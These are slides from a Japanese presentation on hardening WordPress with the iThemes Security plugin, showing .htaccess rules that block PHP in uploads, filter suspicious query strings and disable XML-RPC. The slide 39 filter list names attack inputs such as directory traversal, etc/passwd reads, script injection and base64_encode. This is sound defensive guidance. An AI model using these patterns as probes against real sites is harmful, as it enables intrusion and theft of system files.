  • 38. iThemes Security プラグインの導入: その 4 ■ アップロードディレしクトリ上での PHP 実行を無効化できる □ たとえバックドアプログラムを upload されても実行できません □ 最後の砦です 管理画面の抑制、アップロードファイルのチェック、 XML-RPC の不可などと併用しましょう □ wordpress/.htaccess にルールを付け足してくれます RewriteRule ^wp-content/uploads/.*.(?:php[1-6]?|pht|phtml?)$ - [NC,F] 38 of 44
  • 39. iThemes Security プラグインの導入: その 5 ■ 不審なクエリー文字列をフィルターできる □ git、hg ディレクトリが公開されていることはありませんか? □ wordpress/.htaccess にルールを付け足してくれます <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %QUERY_STRING ../ [NC,OR] RewriteCond %QUERY_STRING ^.*.(bash|git|hg|log|svn|swp|cvs) [N RewriteCond %QUERY_STRING etc/passwd [NC,OR] RewriteCond %QUERY_STRING boot.ini [NC,OR] - 略 - RewriteCond %QUERY_STRING (<|%3C).*script.*(>|%3E) [NC,OR] RewriteCond %QUERY_STRING mosConfig_[a-zA-Z_]1,21(=|%3D) [NC,OR RewriteCond %QUERY_STRING base64_encode.*(.*) [NC,OR] - 略 - RewriteRule ^.* - [F] </IfModule> 39 of 44
  • 40. iThemes Security プラグインの導入: その 6 ■ XML-RPC サービスの停止 □ XML-RPC を使うと、高速簡単に総当たり攻撃できます パスワードがばれたらバックドアアップロード、記事の投稿、楽勝 です □ コメントスパムも減るかもしれません □ wordpress/.htaccess にルールを付け足してくれます <files xmlrpc.php> <IfModule mod_authz_core.c> Require all denied </IfModule> <IfModule !mod_authz_core.c> Order allow,deny Deny from all </IfModule> </files> 40 of 44
  • 43. まとめ ■ WordPress アップデートは自動にしましょう ■ wp-admin を隠しましょう ■ 発注、納入するときは魔改造プラグインのチェックを行いましょう ■ セキュリティ対策プラグインを導入しましょう □ 操作履歴をとる □ ファイル更新履歴をとる □ バックアップをとる □ uploads ディレクトリで PHP を実行できないようにする □ XML-RPC サービスの制限をする 43 of 44